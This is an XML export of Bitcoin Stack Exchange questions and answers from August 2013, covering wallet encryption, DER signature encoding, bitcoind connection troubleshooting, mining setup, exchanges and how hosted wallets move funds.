  <row Id="12555" PostTypeId="1" AcceptedAnswerId="12616" CreationDate="2013-08-06T23:36:51.793" Score="3" ViewCount="1586" Body="&lt;p&gt;Basically, is there any reason &lt;em&gt;not&lt;/em&gt; to encrypt your wallet? The only drawback I can think of is forgetting your passphrase and losing access to all your bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="6254" LastActivityDate="2015-11-23T12:50:01.527" Title="What are the drawbacks (if any) of encrypting your wallet with Bitcoin-Qt?" Tags="|bitcoin-core|encryption|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12556" PostTypeId="2" ParentId="12554" CreationDate="2013-08-07T00:30:24.143" Score="44" Body="&lt;p&gt;There are two different encodings used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything in the Bitcoin protocol, including &lt;strong&gt;transaction signatures&lt;/strong&gt; and &lt;strong&gt;alert signatures&lt;/strong&gt;, uses &lt;em&gt;DER encoding&lt;/em&gt;. This results in 71 bytes signatures (on average), as there are several header bytes, and the R and S valued are variable length.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For &lt;strong&gt;message signatures&lt;/strong&gt;, a &lt;em&gt;custom encoding&lt;/em&gt; is used which is more compact (and more recent) and supports public key recovery (given a message and a signature, find which public key would have created it). The code you're referring to in the question is for creating such signatures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A correct DER-encoded signature has the following form:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;0x30&lt;/code&gt;: a header byte indicating a compound structure.&lt;/li&gt;&#xA;&lt;li&gt;A 1-byte length descriptor for all what follows.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;0x02&lt;/code&gt;: a header byte indicating an integer.&lt;/li&gt;&#xA;&lt;li&gt;A 1-byte length descriptor for the R value&lt;/li&gt;&#xA;&lt;li&gt;The R coordinate, as a big-endian integer.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;0x02&lt;/code&gt;: a header byte indicating an integer.&lt;/li&gt;&#xA;&lt;li&gt;A 1-byte length descriptor for the S value.&lt;/li&gt;&#xA;&lt;li&gt;The S coordinate, as a big-endian integer.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Where initial &lt;code&gt;0x00&lt;/code&gt; bytes for R and S are not allowed, except when their first byte would otherwise be above &lt;code&gt;0x7F&lt;/code&gt; (in which case a single &lt;code&gt;0x00&lt;/code&gt; in front is required). Also note that inside transaction signatures, an extra hashtype byte follows the actual signature data.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2013-08-07T00:37:47.527" LastActivityDate="2013-08-07T00:37:47.527" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="12559" PostTypeId="1" CreationDate="2013-08-07T13:19:05.670" Score="10" ViewCount="2710" Body="&lt;p&gt;I'm wondering what the practical / legal limits are on selling Bitcoin as an individual using Craigslist and LocalBitcoins. Will I run into legal issues / frozen bank accounts as I scale this? Right now I'm doing about $1K of selling per month, but I could see that expanding to $1K - $3K per week.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I take all the payments in cash, so this will be 1-3K per week in cash going into my credit union ATM.&lt;/p&gt;&#xA;" OwnerUserId="841" LastEditorUserId="7272" LastEditDate="2018-04-28T23:05:08.973" LastActivityDate="2018-04-28T23:05:08.973" Title="Legal issues / banking issues selling Bitcoins to people OTC?" Tags="|legal|sell-bitcoins|otc|localbitcoins|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12560" PostTypeId="2" ParentId="12541" CreationDate="2013-08-07T14:20:22.590" Score="1" Body="&lt;p&gt;The initial block file parsing can take a lot of time. From the &lt;a href=&quot;https://github.com/jtobey/bitcoin-abe#slow-startup&quot; rel=&quot;nofollow&quot;&gt;readme&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Reading the block files takes much too long, several days or more for the main BTC block chain as of 2013. However, if you use a persistent database, Abe remembers where it stopped reading and starts more quickly the second time.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It depends on the hardware you have, besides a good CPU it probably benefits from a fast hard drive (SSD at best).&#xA;On my Macbook Air (2013, 8GB RAM, i7, SSD) it took a few days.&lt;/p&gt;&#xA;" OwnerUserId="6177" LastActivityDate="2013-08-07T14:20:22.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12562" PostTypeId="2" ParentId="12522" CreationDate="2013-08-07T17:55:40.423" Score="1" Body="&lt;p&gt;Unfortunately, at this point the best resource is the source code itself. There isn't really good documentation. This is a major issue for the community  and the economy as a whole because it stifles the growth and development of the economy. We all know what happens when only a few people understand and are able to meaningfully manipulate the monetary system . . .&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;I'd start with the original Satoshi whitepaper: &lt;a href=&quot;http://bitcoin.org/bitcoin.pdf&quot; rel=&quot;nofollow&quot;&gt;bitcoin.org/bitcoin.pdf&lt;/a&gt;  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then I'd move on to the original &lt;a href=&quot;http://www.bitcointrading.com/forum/bitcoin-clients/original-bitcoin-source-code-archives/&quot; rel=&quot;nofollow&quot;&gt;Satoshi source code&lt;/a&gt;  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;And then I'd start swimming through the active development on the reference client (good luck): &lt;a href=&quot;https://github.com/bitcoin/netspec&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/netspec&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The best aids you can find in this quest are people like those here on stackexchange but also in other places such as the Bitcoin IRC channel and the Bitcoin Forums&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be great for everyone here and the world at large if you documented your learning process on &lt;a href=&quot;http://github.com/bitcoin&quot; rel=&quot;nofollow&quot;&gt;github&lt;/a&gt; and the &lt;a href=&quot;http://bitcoin.it&quot; rel=&quot;nofollow&quot;&gt;bitcoin wiki&lt;/a&gt;. That would be the answer to your question.&lt;/p&gt;&#xA;" OwnerUserId="1766" LastActivityDate="2013-08-07T17:55:40.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12563" PostTypeId="2" ParentId="12528" CreationDate="2013-08-07T19:48:09.443" Score="2" Body="&lt;p&gt;One Method &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.0) Using Coinbase, (coinbase dot com) is currently my preferred way. Create an account there and do your homework. They have made the process rather straight forward once you are verified. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.1) The fastest way to get verified is to link your US based bank account to their service. I would suggest buying a small fraction of one BTC to get verified more quickly, rather than having  Coinbase send a couple transactions to your US bank account for you to verify.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.2) Answer the Coinbase security verification questionnaire quickly. They are following the Know Your Client (KYC) rules. If you take long to answer the questions your verification will fail and you will need to wait 24 hours to try again. In this context KYC refers to due diligence activities that financial institutions and other regulated companies must perform to ascertain relevant information from their clients for the purpose of doing business with them in the USA. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Convert your USD at MtGox to BTC and send it to your account at Coinbase. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) After you have been verified you can convert your BTC to USD and transfer the USD into your US bank account rather quickly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the price you are selling the BTC at Coinbase is less then what you paid for them at MtGox which can be $ignificant if you have many BTC to sell for USD. There are other ways but this is one that has been working well for me. . . &lt;/p&gt;&#xA;" OwnerUserId="6198" LastEditorUserId="6198" LastEditDate="2013-08-07T20:42:41.250" LastActivityDate="2013-08-07T20:42:41.250" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12564" PostTypeId="1" CreationDate="2013-08-07T20:41:11.187" Score="5" ViewCount="1694" Body="&lt;p&gt;I know that miners can adjust the timestamp of a block, but can they control the exact timestamp datetime (within the +-2h rule)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;br&gt;&#xA;&lt;em&gt;A miner mines a block at &lt;code&gt;2013-08-08 08:01:34&lt;/code&gt;. &lt;br&gt;&#xA;Can the miner change the block timestamp to &lt;code&gt;2013-08-08 08:08:08&lt;/code&gt;?&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="6266" LastEditorUserId="5406" LastEditDate="2015-06-25T08:14:42.237" LastActivityDate="2015-06-25T08:52:46.013" Title="Can a miner set the EXACT timestamp of a block?" Tags="|block|timestamp|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12565" PostTypeId="2" ParentId="11957" CreationDate="2013-08-07T21:01:10.880" Score="2" Body="&lt;p&gt;it was easy to set up for me using an android phone ... just install the google auth, scan the code they give you on btc &lt;/p&gt;&#xA;&#xA;&lt;p&gt;new users should take a screen shot of the QR code and print it out and save in secure location.  You can't get back to that QR code, so save it from the beginning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a more general info on the topic:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://cadince.com/3-ways-to-move-google-authenticator/&quot; rel=&quot;nofollow&quot;&gt;http://cadince.com/3-ways-to-move-google-authenticator/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6265" LastActivityDate="2013-08-07T21:01:10.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12567" PostTypeId="1" CreationDate="2013-08-07T22:33:08.480" Score="3" ViewCount="2059" Body="&lt;p&gt;I am trying to run/sync bitcoind -server for the first time on linux and it is not connecting&lt;/p&gt;&#xA;&#xA;&lt;p&gt;end of Debug log gives me this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;new&#xA;Added 14 addresses from ::: 0 tried, 91 new&#xA;93 addresses found from DNS seeds&#xA;dnsseed thread exit&#xA;trying connection 69.64.34.118:8333 lastseen=117.2hrs&#xA;connection timeout&#xA;trying connection 10.0.0.2:8333 lastseen=354419.7hrs&#xA;connect() failed after select(): Connection refused&#xA;connection timeout&#xA;trying connection 62.245.238.146:8333 lastseen=96.2hrs&#xA;connection timeout&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any suggestions. Is it perhaps a server firewall issue?&lt;/p&gt;&#xA;" OwnerUserId="6269" LastEditorUserId="120" LastEditDate="2013-08-08T10:29:01.550" LastActivityDate="2015-03-02T00:01:02.533" Title="Bitcoin Server won't connect, timeout error" Tags="|bitcoind|server|connection|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12568" PostTypeId="2" ParentId="2072" CreationDate="2013-08-07T22:44:13.797" Score="0" Body="&lt;p&gt;Try using &lt;a href=&quot;http://cudaminer.com/&quot; rel=&quot;nofollow&quot;&gt;CudaMiner&lt;/a&gt; since it was written specifically for Nvidia cards and does not require OpenCL.&lt;/p&gt;&#xA;" OwnerUserId="6270" LastEditorUserId="1405" LastEditDate="2014-06-10T04:26:03.097" LastActivityDate="2014-06-10T04:26:03.097" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12570" PostTypeId="2" ParentId="12503" CreationDate="2013-08-08T05:32:03.177" Score="1" Body="&lt;p&gt;I tried writing one in 2011-12.  I ended up doing a lot of volume, but I only broke even because of the commission.  I generated a lot of money for Mt. Gox though!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general, writing an automated trading program is always going to be a difficult task, because anyone who can write a superior program can cut into the profits of the inferior program, which leads to a development arms race.  This is what some hedge funds do (not with Bitcoins), but any models they develop are only expected to make money for a short amount of time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if someone released a high-quality open-source program, it would be difficult to make money by using it because so many people would run it.&lt;/p&gt;&#xA;" OwnerUserId="6273" LastActivityDate="2013-08-08T05:32:03.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12571" PostTypeId="2" ParentId="3689" CreationDate="2013-08-08T05:43:05.687" Score="2" Body="&lt;p&gt;Because all transactions must be stored by clients, microtransactions will probably never be practical for Bitcoin, because this will cause the blockchain to take up too much space.  It's hard for me to imagine a P2P cryptocurrency that could solve this problem, because it'll still be inherently limited by how many transactions can be stored by clients.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Nanopayments&quot; rel=&quot;nofollow&quot;&gt;Probabilistic nanopayments&lt;/a&gt; are one way to solve this problem without modifications to the Bitcoin protocol.&lt;/p&gt;&#xA;" OwnerUserId="6273" LastActivityDate="2013-08-08T05:43:05.687" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12572" PostTypeId="2" ParentId="12567" CreationDate="2013-08-08T08:59:11.483" Score="2" Body="&lt;p&gt;Issue solved. Simple firewall issue, always unblock 8333&lt;/p&gt;&#xA;" OwnerUserId="6269" LastActivityDate="2013-08-08T08:59:11.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12574" PostTypeId="1" CreationDate="2013-08-08T10:22:52.613" Score="-1" ViewCount="636" Body="&lt;p&gt;I have a few asic blades 13 GHs and I am farming BTC on slash pool via stratum.&#xA;How to change and what inside stratum to make those asics farm terarcoin on any one pool for TRC?&lt;/p&gt;&#xA;" OwnerUserId="6275" LastActivityDate="2013-08-18T03:15:17.420" Title="How to run Stratum for terracoin?" Tags="|asic|stratum|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12575" PostTypeId="1" CreationDate="2013-08-08T10:46:25.650" Score="6" ViewCount="2543" Body="&lt;p&gt;As a historical user of GLBSE I thought the concept was brilliant. Sadly that did not end well but many more have appeared.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://btct.co/&quot; rel=&quot;nofollow&quot;&gt;https://btct.co/&lt;/a&gt; appears to be the most popular.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which other stock exchanges are available and what are their advantages &amp;amp; disadvantages?&lt;/p&gt;&#xA;" OwnerUserId="33" LastEditorUserId="2306" LastEditDate="2015-07-26T18:56:48.700" LastActivityDate="2017-12-08T13:08:26.733" Title="What Bitcoin Securities / Stock exchanges are around?" Tags="|stocks|securities|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12576" PostTypeId="2" ParentId="4869" CreationDate="2013-08-08T12:09:16.120" Score="0" Body="&lt;p&gt;The bitcoin casino site &lt;a href=&quot;https://satoshibet.com&quot; rel=&quot;nofollow&quot;&gt;SatoshiBet&lt;/a&gt; is 100% Provably Fair.&#xA;After each deal the player can manually verify the legitimacy of the shuffle.&lt;/p&gt;&#xA;" OwnerUserId="6276" LastActivityDate="2013-08-08T12:09:16.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12577" PostTypeId="2" ParentId="3508" CreationDate="2013-08-08T12:25:40.010" Score="0" Body="&lt;p&gt;The bitcoin casino &lt;a href=&quot;https://satoshibet.com&quot; rel=&quot;nofollow&quot;&gt;SatoshiBet&lt;/a&gt; has an affiliate program that offers 25% of the house edge of all bets made by players you refer, forever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joining their affiliate is pretty easy, just go to &lt;a href=&quot;https://satoshibet.com/affiliate&quot; rel=&quot;nofollow&quot;&gt;https://satoshibet.com/affiliate&lt;/a&gt; and start sharing your referral link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: A player clicks your link and decides to play roulette. The house edge of roulette is 2.7%. Say the player bets 1 BTC on black. You will then receive (1BTC*0.027)*0.25 = 0.00675 BTC for that single bet (no matter the outcome for the player). If he bets again, you will get another 0.00675 BTC, and so on and so forth.. If you have a few players this can really add up quickly.&lt;/p&gt;&#xA;" OwnerUserId="6276" LastActivityDate="2013-08-08T12:25:40.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12578" PostTypeId="2" ParentId="3508" CreationDate="2013-08-08T12:30:23.860" Score="1" Body="&lt;p&gt;LocalBitcoins.com has affiliate program:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://localbitcoins.com/affiliate/&quot; rel=&quot;nofollow&quot;&gt;http://localbitcoins.com/affiliate/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More about it here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/1izazv/become_an_affiliate_for_localbitcoins_and_earn/&quot; rel=&quot;nofollow&quot;&gt;http://www.reddit.com/r/Bitcoin/comments/1izazv/become_an_affiliate_for_localbitcoins_and_earn/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5464" LastActivityDate="2013-08-08T12:30:23.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12579" PostTypeId="2" ParentId="12522" CreationDate="2013-08-08T12:56:25.380" Score="4" Body="&lt;p&gt;Take a look into the technical wiki pages: &lt;a href=&quot;https://en.bitcoin.it/wiki/Category%3aTechnical&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Category:Technical&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, &lt;a href=&quot;https://en.bitcoin.it/wiki/Technical_background_of_Bitcoin_addresses&quot; rel=&quot;nofollow&quot;&gt;Technical background of version 1 Bitcoin addresses&lt;/a&gt; explains how Bitcoin addresses are generated, or the &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification&quot; rel=&quot;nofollow&quot;&gt;Protocol specification&lt;/a&gt; might help you as well.&lt;/p&gt;&#xA;" OwnerUserId="6177" LastActivityDate="2013-08-08T12:56:25.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12585" PostTypeId="1" AcceptedAnswerId="12834" CreationDate="2013-08-09T04:37:09.010" Score="1" ViewCount="404" Body="&lt;p&gt;I'm getting started with the mtgox api. I'm primarily using &lt;a href=&quot;https://bitbucket.org/nitrous/mtgox-api/&quot; rel=&quot;nofollow&quot;&gt;this page&lt;/a&gt; to tell me how to use it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I've currently got, is I can fetch the depth and then put the bids and asks into 'buckets' (each being a range of price), and can tell you the volume at each bucket. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now what I want to be able to is keep this updated every second or so. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'd need to be keeping track of: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Trades being made (ie Bids/Asks being met). &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;New Bids/Asks.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Bids/Asks being cancelled.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It appears as if the &lt;a href=&quot;https://en.bitcoin.it/wiki/MtGox/API/Streaming#Depth&quot; rel=&quot;nofollow&quot;&gt;old version of the api&lt;/a&gt; could show the net change at each volume, but this doesn't appear to be the case for the new version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I go about doing this?&lt;/p&gt;&#xA;" OwnerUserId="6284" LastActivityDate="2013-08-21T19:11:27.233" Title="MtGox api - keeping track of bids/asks that get cancelled" Tags="|mtgox|api|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12587" PostTypeId="2" ParentId="11921" CreationDate="2013-08-09T12:23:56.490" Score="1" Body="&lt;p&gt;Here's the cgminer.conf for HD6770M I use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;temp-cutoff&quot; : &quot;105&quot;,&#xA;&quot;temp-target&quot; : &quot;65&quot;,&#xA;&quot;intensity&quot; : &quot;13&quot;,&#xA;&quot;vectors&quot; : &quot;1&quot;,&#xA;&quot;worksize&quot; : &quot;256&quot;,&#xA;&quot;kernel&quot; : &quot;scrypt&quot;,&#xA;&quot;scrypt&quot; : true,&#xA;&quot;lookup-gap&quot; : &quot;2&quot;,&#xA;&quot;thread-concurrency&quot; : &quot;3200&quot;,&#xA;&quot;shaders&quot; : &quot;480&quot;,&#xA;&quot;gpu-engine&quot; : &quot;815&quot;,&#xA;&quot;gpu-fan&quot; : &quot;100&quot;,&#xA;&quot;gpu-memclock&quot; : &quot;919&quot;,&#xA;&quot;gpu-vddc&quot; : &quot;1.055&quot;,&#xA;&quot;temp-overheat&quot; : &quot;100&quot;,&#xA;&quot;gpu-threads&quot; : &quot;1&quot;,&#xA;&quot;kernel-path&quot; : &quot;C:\\path\\where\\cgminer\\is&quot; (double &quot;\&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps!&lt;/p&gt;&#xA;" OwnerUserId="6287" LastEditorUserId="2306" LastEditDate="2013-08-11T03:44:32.280" LastActivityDate="2013-08-11T03:44:32.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12589" PostTypeId="1" CreationDate="2013-08-09T16:23:22.133" Score="1" ViewCount="1115" Body="&lt;p&gt;I'm having some real trouble setting up the Blockchain API on my server&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First off is it possible to test it offline with local host?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, how do I set it up so when a tx is made through my site, it runs a php function to update a database with certain values &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone successfully set up the API before and if so could they please walk me through how I would do it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks &lt;/p&gt;&#xA;" OwnerUserId="6289" LastEditorUserId="2306" LastEditDate="2015-05-05T04:52:56.793" LastActivityDate="2015-07-04T06:00:28.137" Title="Blockchain API support - receive payment IPN" Tags="|api|blockchain.info|" AnswerCount="3" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12590" PostTypeId="1" AcceptedAnswerId="12630" CreationDate="2013-08-09T16:57:04.250" Score="1" ViewCount="314" Body="&lt;p&gt;Is concurrency a problem for commands like &lt;code&gt;sendfrom&lt;/code&gt;,&lt;code&gt;move&lt;/code&gt;,&lt;code&gt;sendmany&lt;/code&gt; etc.? I suppose everything is fine after skimming source code, but I want to be sure about that.&lt;/p&gt;&#xA;" OwnerUserId="6128" LastEditorUserId="2306" LastEditDate="2013-08-13T00:00:36.393" LastActivityDate="2013-08-13T16:53:39.070" Title="Are bitcoin commands resistant to race conditions and thread-safe?" Tags="|json-rpc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12591" PostTypeId="1" CreationDate="2013-08-09T18:02:12.923" Score="2" ViewCount="9770" Body="&lt;p&gt;I checked my firewall, and I tried the solution in Bitcoin question &lt;em&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/11232&quot;&gt;GUIMiner won't start mining on Slush's pool&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is still saying connecting forever.&lt;/p&gt;&#xA;" OwnerUserId="6290" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2020-04-03T09:41:32.110" Title="GUIMiner does not connect on Slush's pool" Tags="|client|miner-configuration|guiminer|slush|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12592" PostTypeId="1" AcceptedAnswerId="12604" CreationDate="2013-08-09T20:24:04.417" Score="7" ViewCount="1399" Body="&lt;p&gt;This question is similar to a few others, but I haven't gotten seen a clear answer anywhere.  It came up as I was trying to explain mining to a newcomer.  And he asked: &quot;If aliens came and put all humans to sleep ( and any automated transactions that may have been setup ) would miners have anything to do?&quot;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the question is, if zero transactions are happening, are miners still mining? And if yes, what exactly are they doing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I explained also that eventually block rewards will end, so I'm looking for an answer that is agnostic of the bitcoin network now vs the post-block rewards bitcoin network ( after the 21 million are &quot;mined&quot; )&lt;/p&gt;&#xA;" OwnerUserId="6291" LastEditorUserId="5406" LastEditDate="2016-03-11T15:08:45.550" LastActivityDate="2017-12-05T12:45:09.717" Title="If there was a period of time with no transactions, what would miners have to do?" Tags="|mining-reward|empty-blocks|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12595" PostTypeId="1" CreationDate="2013-08-10T00:07:24.783" Score="-1" ViewCount="276" Body="&lt;p&gt;The bitcoin market seems to not be very stable. The value if the currency fluctuates everytime there is a fork. If I invested say 1000$ USD and the market crashed, would I be able get my $1000 back?&lt;/p&gt;&#xA;" OwnerUserId="6296" LastActivityDate="2013-08-11T20:48:01.237" Title="How stable is the Bitcoin Market" Tags="|transactions|value|money|marketplace|currencies|" AnswerCount="1" CommentCount="2" ClosedDate="2013-09-11T21:45:36.790" ContentLicense="CC BY-SA 3.0" />
  <row Id="12596" PostTypeId="2" ParentId="1415" CreationDate="2013-08-10T05:38:25.430" Score="0" Body="&lt;p&gt;Ubuntu is a most popular Debian fork have bitcoind package in official repository:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# dpkg -l bitcoind&#xA;ii  bitcoind  0.8.1-1   amd64    peer-to-peer network based digital currency - daemon&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More info:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# aptitude show bitcoind&#xA;Package: bitcoind                        &#xA;State: installed&#xA;Automatically installed: no&#xA;Version: 0.8.1-1&#xA;Priority: optional&#xA;Section: universe/utils&#xA;Maintainer: Ubuntu Developers &amp;lt;ubuntu-devel-discuss@lists.ubuntu.com&amp;gt;&#xA;Architecture: amd64&#xA;Uncompressed Size: 3,126 k&#xA;Depends: libboost-filesystem1.49.0 (&amp;gt;= 1.49.0-1), libboost-program-options1.49.0 (&amp;gt;= 1.49.0-1), libboost-system1.49.0 (&amp;gt;= 1.49.0-1), libboost-thread1.49.0 (&amp;gt;= 1.49.0-1), libc6 (&amp;gt;= 2.15), libdb5.1++, libgcc1 (&amp;gt;= 1:4.1.1),&#xA;         libleveldb1, libminiupnpc8 (&amp;gt;= 1.6), libssl1.0.0 (&amp;gt;= 1.0.0), libstdc++6 (&amp;gt;= 4.6)&#xA;Suggests: db-util, db4.8-util&#xA;Conflicts: bitcoind&#xA;Description: peer-to-peer network based digital currency - daemon&#xA; Bitcoin is a free open source peer-to-peer electronic cash system that is completely decentralized, without the need for a central server or trusted parties.  Users hold the crypto keys to their own money and transact directly&#xA; with each other, with the help of a P2P network to check for double-spending. &#xA;&#xA; By default connects to an IRC network to discover other peers. &#xA;&#xA; Full transaction history is stored locally at each client.  This requires several GB of space, slowly growing. &#xA;&#xA; This package provides bitcoind, a combined daemon and CLI tool to interact with the daemon.&#xA;Homepage: http://www.bitcoin.org&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6271" LastActivityDate="2013-08-10T05:38:25.430" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12598" PostTypeId="1" AcceptedAnswerId="12705" CreationDate="2013-08-10T06:08:29.383" Score="3" ViewCount="4398" Body="&lt;p&gt;I have an online wallet at localbitcoins.com (address 12pHFR5yv2KGqck5N8teb5MgoRtzAgLRn2).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made three transfers to it, for a total of 0.5 BTC + 0.5 BTC + 0.3031 BTC = 1.3031 BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blockchain.info did show my address receiving coins. However, it is showing my address sending coins to several addresses after receiving them &lt;a href=&quot;https://blockchain.info/address/12pHFR5yv2KGqck5N8teb5MgoRtzAgLRn2&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blockchain.info/address/12pHFR5yv2KGqck5N8teb5MgoRtzAgLRn2&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RuDjH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is someone using my online wallet at localbitcoins.com to withdraw money?&lt;/p&gt;&#xA;" OwnerUserId="1475" LastEditorUserId="153" LastEditDate="2013-08-16T21:43:51.810" LastActivityDate="2017-12-13T00:47:36.777" Title="Why does transaction activity show on the blockchain for my Bitcoin address at my hosted (shared) E-Wallet service?" Tags="|blockchain.info|e-wallet|hacking|shared|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12599" PostTypeId="2" ParentId="12598" CreationDate="2013-08-10T07:49:48.580" Score="1" Body="&lt;p&gt;Probably not. Most online wallets don't hold your bitcoins against the receiving address for your wallet; instead they transfer them to a central wallet and keep a record of your balance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you want to spend from your wallet, they make a transaction from their centralised wallet to your desired sending address, and adjust your balance accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This method of providing an online wallet has the advantage that they can reduce transaction fees (they can spend their oldest bitcoins first, and consolidate appropriately sized inputs for your desired transaction output), but also some disadvantages such as that you don't get to hold the private key for your receiving address (and thus can't retrieve your bitcoins without them).&lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2013-08-10T07:49:48.580" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
